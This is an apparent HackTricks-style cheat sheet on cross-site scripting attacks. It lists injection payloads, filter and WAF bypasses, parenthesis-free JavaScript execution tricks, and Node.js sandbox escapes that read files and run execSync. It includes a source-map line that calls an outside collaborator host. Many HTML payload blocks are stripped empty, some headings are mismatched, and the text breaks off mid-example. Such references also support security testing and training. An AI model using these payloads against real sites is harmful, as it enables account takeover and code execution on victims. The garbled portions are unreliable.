# XSS (Cross Site Scripting)
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). {% embed url="https://www.stmcyber.com/careers" %} ## Methodology 1. Check if **any value you control** (_parameters_, _path_, _headers_?, _cookies_?) is being **reflected** in the HTML or **used** by **JS** code. 2. **Find the context** where it's reflected/used. 3. If **reflected** 1. Check **which symbols can you use** and depending on that, prepare the payload: 1. In **raw HTML**: 1. Can you create new HTML tags? 2. Can you use events or attributes supporting `javascript:` protocol? 3. Can you bypass protections? 4. Is the HTML content being interpreted by any client side JS engine (_AngularJS_, _VueJS_, _Mavo_...), you could abuse a [**Client Side Template Injection**](../client-side-template-injection-csti.md). 5. If you cannot create HTML tags that execute JS code, could you abuse a [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/)? 2. Inside a **HTML tag**: 1. Can you exit to raw HTML context? 2. Can you create new events/attributes to execute JS code? 3. Does the attribute where you are trapped support JS execution? 4. Can you bypass protections? 3. Inside **JavaScript code**: 1. Can you escape the ``** tags of a HTML page, inside a `.js` file or inside an attribute using **`javascript:`** protocol: * If reflected between **``** tags, even if your input if inside any kind of quotes, you can try to inject `` and escape from this context. This works because the **browser will first parse the HTML tags** and then the content, therefore, it won't notice that your injected `` tag is inside the HTML code. * If reflected **inside a JS string** and the last trick isn't working you would need to **exit** the string, **execute** your code and **reconstruct** the JS code (if there is any error, it won't be executed: * `'-alert(1)-'` * `';-alert(1)//` * `\';alert(1)//` * If reflected inside template literals you can **embed JS expressions** using `${ ... }` syntax: `` var greetings = `Hello, ${alert(1)}` `` * **Unicode encode** works to write **valid javascript code**: ```javascript \u{61}lert(1) \u0061lert(1) \u{0061}lert(1) ``` #### Javascript Hoisting Javascript Hoisting references the opportunity to **declare functions, variables or classes after they are used so you can abuse scenarios where a XSS is using undeclared variables or functions.**\ **Check the following page for more info:** {% content-ref url="js-hoisting.md" %} [js-hoisting.md](js-hoisting.md) {% endcontent-ref %} ### Javascript Function Several web pages have endpoints that **accept as parameter the name of the function to execute**. A common example to see in the wild is something like: `?callback=callbackFunc`. A good way to find out if something given directly by the user is trying to be executed is **modifying the param value** (for example to 'Vulnerable') and looking in the console for errors like: ![](<../../.gitbook/assets/image (708).png>) In case it's vulnerable, you could be able to **trigger an alert** just doing sending the value: **`?callback=alert(1)`**. However, it' very common that this endpoints will **validate the content** to only allow letters, numbers, dots and underscores (**`[\w\._]`**). However, even with that limitation it's still possible to perform some actions. This is because you can use that valid chars to **access any element in the DOM**: ![](<../../.gitbook/assets/image (744).png>) Some useful functions for this: ``` firstElementChild lastElementChild nextElementSibiling lastElementSibiling parentElement ``` You can also try to **trigger Javascript functions** directly: `obj.sales.delOrders`. However, usually the endpoints executing the indicated function are endpoints without much interesting DOM, **other pages in the same origin** will have a **more interesting DOM** to perform more actions. Therefore, in order to **abuse this vulnerability in a different DOM** the **Same Origin Method Execution (SOME)** exploitation was developed: {% content-ref url="some-same-origin-method-execution.md" %} [some-same-origin-method-execution.md](some-same-origin-method-execution.md) {% endcontent-ref %} ### DOM There is **JS code** that is using **unsafely** some **data controlled by an attacker** like `location.href` . An attacker, could abuse this to execute arbitrary JS code. {% content-ref url="dom-xss.md" %} [dom-xss.md](dom-xss.md) {% endcontent-ref %} ### **Universal XSS** These kind of XSS can be found **anywhere**. They not depend just on the client exploitation of a web application but on **any** **context**. These kind of **arbitrary JavaScript execution** can even be abuse to obtain **RCE**, **read** **arbitrary** **files** in clients and servers, and more.\ Some **examples**: {% content-ref url="server-side-xss-dynamic-pdf.md" %} [server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md) {% endcontent-ref %} {% content-ref url="../../network-services-pentesting/pentesting-web/electron-desktop-apps/" %} [electron-desktop-apps](../../network-services-pentesting/pentesting-web/electron-desktop-apps/) {% endcontent-ref %} ## WAF bypass encoding image ![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../.gitbook/assets/EauBb2EX0AERaNK (1).jpg>) ## Injecting inside raw HTML When your input is reflected **inside the HTML page** or you can escape and inject HTML code in this context the **first** thing you need to do if check if you can abuse `<` to create new tags: Just try to **reflect** that **char** and check if it's being **HTML encoded** or **deleted** of if it is **reflected without changes**. **Only in the last case you will be able to exploit this case**.\ For this cases also **keep in mind** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\ _**Note: A HTML comment can be closed using**** ****`-->`**** ****or**** ****`--!>`**_ In this case and if no black/whitelisting is used, you could use payloads like: ```html ``` But, if tags/attributes black/whitelisting is being used, you will need to **brute-force which tags** you can create.\ Once you have **located which tags are allowed**, you would need to **brute-force attributes/events** inside the found valid tags to see how you can attack the context. ### Tags/Events brute-force Go to [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) and click on _**Copy tags to clipboard**_. Then, send all of them using Burp intruder and check if any tags wasn't discovered as malicious by the WAF. Once you have discovered which tags you can use, you can **brute force all the events** using the valid tags (in the same web page click on _**Copy events to clipboard**_ and follow the same procedure as before). ### Custom tags If you didn't find any valid HTML tag, you could try to **create a custom tag** and and execute JS code with the `onfocus` attribute. In the XSS request, you need to end the URL with `#` to make the page **focus on that object** and **execute** the code: ``` /?search=#x ``` ### Blacklist Bypasses If some kind of blacklist is being used you could try to bypass it with some silly tricks: ```javascript //Random capitalization alert(1) //Not closing tag, ending with " <" or " //" //Special cases .//https://github.com/evilcos/xss.swf //https://github.com/evilcos/xss.swf ``` Note that if you try to **use both** `URLencode + HTMLencode` in any order to encode the **payload** it **won't** **work**, but you can **mix them inside the payload**. **Using Hex and Octal encode with `javascript:`** You can use **Hex** and **Octal encode** inside the `src` attribute of `iframe` (at least) to declare **HTML tags to execute JS**: ```javascript //Encoded: // This WORKS //Encoded: alert(1) // This doesn't work ``` ### Reverse tab nabbing ```javascript //No safari //chars allowed between the onevent and the "=" IExplorer: %09 %0B %0C %020 %3B Chrome: %09 %20 %28 %2C %3B Safari: %2C %3B Firefox: %09 %20 %28 %2C %3B Opera: %09 %20 %2C %3B Android: %09 %20 %28 %2C %3B ``` ### XSS in "Unexploitable tags" (hidden input, link, canonical, meta) From [**here**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **it's now possible to abuse hidden inputs with:** ```html
Newsletter popup
``` From [**here**](https://portswigger.net/research/xss-in-hidden-input-fields): You can execute an **XSS payload inside a hidden attribute**, provided you can **persuade** the **victim** into pressing the **key combination**. On Firefox Windows/Linux the key combination is **ALT+SHIFT+X** and on OS X it is **CTRL+ALT+X**. You can specify a different key combination using a different key in the access key attribute. Here is the vector: ```markup ``` **The XSS payload will be something like this: `" accesskey="x" onclick="alert(1)" x="`** ### Blacklist Bypasses Several tricks with using different encoding were exposed already inside this section. Go **back to learn where can you use:** * **HTML encoding (HTML tags)** * **Unicode encoding (can be valid JS code):** `\u0061lert(1)` * **URL encoding** * **Hex and Octal encoding** * **data encoding** **Bypasses for HTML tags and attributes** Read the[ Blacklist Bypasses of the previous section](./#blacklist-bypasses). **Bypasses for JavaScript code** Read the J[avaScript bypass blacklist of the following section](./#javascript-bypass-blacklists-techniques). ### CSS-Gadgets If you found a **XSS in a very small part** of the web that requires some kind of interaction (maybe a small link in the footer with an onmouseover element), you can try to **modify the space that element occupies** to maximize the probabilities of have the link fired. For example, you could add some styling in the element like: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5` But, if the WAF is filtering the style attribute, you can use CSS Styling Gadgets, so if you find, for example > .test {display:block; color: blue; width: 100%\} and > \#someid {top: 0; font-family: Tahoma;} Now you can modify our link and bring it to the form > \ This trick was taken from [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703) ## Injecting inside JavaScript code In these case you **input** is going to be **reflected inside the JS code** of a `.js` file or between `` tags or between HTML events that can execute JS code or between attributes that accepts the `javascript:` protocol. ### Escaping \` you could easily **escape closing the ` ``` Note that in this example we **haven't even closed the single quote**. This is because **HTML parsing is performed first by the browser**, which involves identifying page elements, including blocks of script. The parsing of JavaScript to understand and execute the embedded scripts is only carried out afterward. ### Inside JS code If `<>` are being sanitised you can still **escape the string** where your input is being **located** and **execute arbitrary JS**. It's important to **fix JS syntax**, because if there are any errors, the JS code won't be executed: ``` '-alert(document.domain)-' ';alert(document.domain)// \';alert(document.domain)// ``` ### Template literals \`\` In order to construct **strings** apart from single and double quotes JS also accepts **backticks** **` `` `** . This is known as template literals as they allow to **embedded JS expressions** using `${ ... }` syntax.\ Therefore, if you find that your input is being **reflected** inside a JS string that is using backticks, you can abuse the syntax `${ ... }` to execute **arbitrary JS code**: This can be **abused** using: ```javascript `${alert(1)}` `${`${`${`${alert(1)}`}`}`}` ``` ```````````````javascript // This is valid JS code, because each time the function returns itself it's recalled with `` function loop(){return loop} loop`````````````` ``````````````` ### Encoded code execution ```markup ``` **Javascript inside a comment** ```javascript //If you can only inject inside a JS comment, you can still leak something //If the user opens DevTools request to the indicated sourceMappingURL will be send //# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com ``` **JavaScript without parentheses** ````javascript // By setting location window.location='javascript:alert\x281\x29' x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x // or any DOMXSS sink such as location=name // Backtips // Backtips pass the string as an array of lenght 1 alert`1` // Backtips + Tagged Templates + call/apply eval`alert\x281\x29` // This won't work as it will just return the passed array setTimeout`alert\x281\x29` eval.call`${'alert\x281\x29'}` eval.apply`${[`alert\x281\x29`]}` [].sort.call`${alert}1337` [].map.call`${eval}\\u{61}lert\x281337\x29` // To pass several arguments you can use function btt(){ console.log(arguments); } btt`${'arg1'}${'arg2'}${'arg3'}` //It's possible to construct a function and call it Function`x${'alert(1337)'}x``` // .replace can use regexes and call a function if something is found "a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a," "a".replace.call`1${/./}${alert}` // This happened in the previous example // Change "this" value of call to "1," // match anything with regex /./ // call alert with "1" "a".replace.call`1337${/..../}${alert}` //alert with 1337 instead // Using Reflect.apply to call any function with any argumnets Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.

An attacker, could abuse this to execute arbitrary JS code.\ **Due to the extension of the explanation of** [**DOM vulnerabilities it was moved to this page**](dom-xss.md)**:** {% content-ref url="dom-xss.md" %} [dom-xss.md](dom-xss.md) {% endcontent-ref %} There you will find a detailed **explanation of what DOM vulnerabilities are, how are they provoked, and how to exploit them**.\ Also, don't forget that **at the end of the mentioned post** you can find an explanation about [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering). ## Other Bypasses ### Normalised Unicode You could check is the **reflected values** are being **unicode normalized** in the server (or in the client side) and abuse this functionality to bypass protections. [**Find an example here**](../unicode-injection/#xss-cross-site-scripting). ### PHP FILTER\_VALIDATE\_EMAIL flag Bypass ```javascript ">"@x.y ``` ### Ruby-On-Rails bypass Due to **RoR mass assignment** quotes are inserted in the HTML and then the quote restriction is bypassed and additoinal fields (onfocus) can be added inside the tag.\ Form example ([from this report](https://hackerone.com/reports/709336)), if you send the payload: ``` contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa ``` The pair "Key","Value" will be echoed back like this: ``` {" onfocus=javascript:alert('xss') autofocus a"=>"a"} ``` Then, the onfocus attribute will be inserted and XSS occurs. ### Special combinations ```markup alert(1) alert('XSS') < < String.fromCharCode(88,83,83) \"/\"src=\"/\"onerror=eval(id) (function(x){this[x+`ert`](1)})`al` window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2) document['default'+'View'][`\u0061lert`](3) ``` ### XSS with header injection in a 302 response If you find that you can **inject headers in a 302 Redirect response** you could try to **make the browser execute arbitrary JavaScript**. This is **not trivial** as modern browsers do not interpret the HTTP response body if the HTTP response status code is a 302, so just a cross-site scripting payload is useless. In [**this report**](https://www.gremwell.com/firefox-xss-302) and [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) you can read how you can test several protocols inside the Location header and see if any of them allows the browser to inspect and execute the XSS payload inside the body.\ Past known protocols: `mailto://`, `//x:1/`, `ws://`, `wss://`, _empty Location header_, `resource://`. ### Only Letters, Numbers and Dots If you are able to indicate the **callback** that javascript is going to **execute** limited to those chars. [**Read this section of this post**](./#javascript-function) to find how to abuse this behaviour. ### Valid ` ``` The answer is: * **module** (default, nothing to explain) * [**webbundle**](https://web.dev/web-bundles/): Web Bundles is a feature that you can package a bunch of data (HTML, CSS, JS…) together into a **`.wbn`** file. ```html The resources are loaded from the source .wbn, not accessed via HTTP ``` * [**importmap**](https://github.com/WICG/import-maps)**:** Allows to improve the import syntax ```html ``` This behaviour was used in [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) to remap a library to eval to abuse it can trigger XSS. * [**speculationrules**](https://github.com/WICG/nav-speculation)**:** This feature is mainly to solve some problems caused by pre-rendering. It works like this: ```html ``` ### Web Content-Types to XSS (From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) The following content types can execute XSS in all browsers: * text/html * application/xhtml+xml * application/xml * text/xml * image/svg+xml * text/plain (?? not in the list but I think I saw this in a CTF) * application/rss+xml (off) * application/atom+xml (off) In other browsers other **`Content-Types`** can be used to execute arbitrary JS, check: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md) ### xml Content Type If the page is returnin a text/xml content-type it's possible to indicate a namespace and execute arbitrary JS: ```xml hello ``` ### Special Replacement Patterns When something like **`"some {{template}} data".replace("{{template}}", )`** is used. The attacker could use [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) to try to bypass some protections: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))`` For example in [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), this was used to **scape a JSON string** inside a script and execute arbitrary code. ### Chrome Cache to XSS {% content-ref url="chrome-cache-to-xss.md" %} [chrome-cache-to-xss.md](chrome-cache-to-xss.md) {% endcontent-ref %} ### XS Jails Escape If you are only have a limited set of chars to use, check these other valid solutions for XSJail problems: ```javascript // eval + unescape + regex eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))() eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/)) // use of with with(console)log(123) with(/console.log(1)/)with(this)with(constructor)constructor(source)() // Just replace console.log(1) to the real code, the code we want to run is: //return String(process.mainModule.require('fs').readFileSync('flag.txt')) with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt'))) with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n))) with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n))) //Final solution with( /with(String) with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process) with(mainModule) with(require(k)) return(String(readFileSync(n))) /) with(this) with(constructor) constructor(source)() // For more uses of with go to challenge misc/CaaSio PSE in // https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE ``` If **everything is undefined** before executing untrusted code (like in [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)) it's possible to generate useful objects "out of nothing" to abuse the execution of arbitrary untrusted code: * Using import() ```javascript // although import "fs" doesn’t work, import('fs') does. import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8"))) ``` * Accessing `require` indirectly [According to this](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) modules are wrapped by Node.js within a function, like this: ```javascript (function (exports, require, module, __filename, __dirname) { // our actual module code }); ``` Therefore, if from that module we can **call another function**, it's possible to use `arguments.callee.caller.arguments[1]` from that function to access **`require`**: {% code overflow="wrap" %} ```javascript (function(){return arguments.callee.caller.arguments[1]("fs").readFileSync("/flag.txt", "utf8")})() ``` {% endcode %} In a similar way to the previous example, it's possible to **use error handlers** to access the **wrapper** of the module and get the **`require`** function: ```javascript try { null.f() } catch (e) { TypeError = e.constructor } Object = {}.constructor String = ''.constructor Error = TypeError.prototype.__proto__.constructor function CustomError() { const oldStackTrace = Error.prepareStackTrace try { Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace Error.captureStackTrace(this) this.stack } finally { Error.prepareStackTrace = oldStackTrace } } function trigger() { const err = new CustomError() console.log(err.stack[0]) for (const x of err.stack) { // use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter const fn = x.getFunction() console.log(String(fn).slice(0, 200)) console.log(fn?.arguments) console.log('='.repeat(40)) if ((args = fn?.arguments)?.length > 0) { req = args[1] console.log(req('child_process').execSync('id').toString()) } } } trigger() ``` ### Obfuscation & Advanced Bypass * **Different obfuscations in one page:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/) * [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js) * [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs) * [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com) * [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/) * [http://www.jsfuck.com/](http://www.jsfuck.com) * More sofisticated JSFuck: [https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce) * [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html) * [https://utf-8.jp/public/aaencode.html](https://utf-8.jp/public/aaencode.html) * [https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses](https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses) ```javascript //Katana ``` ```javascript //JJencode ``` ```javascript //JSFuck ``` ```javascript //aaencode ﾟωﾟﾉ= /｀ｍ´）ﾉ ~┻━┻ //*´∇｀*/ ['_'];
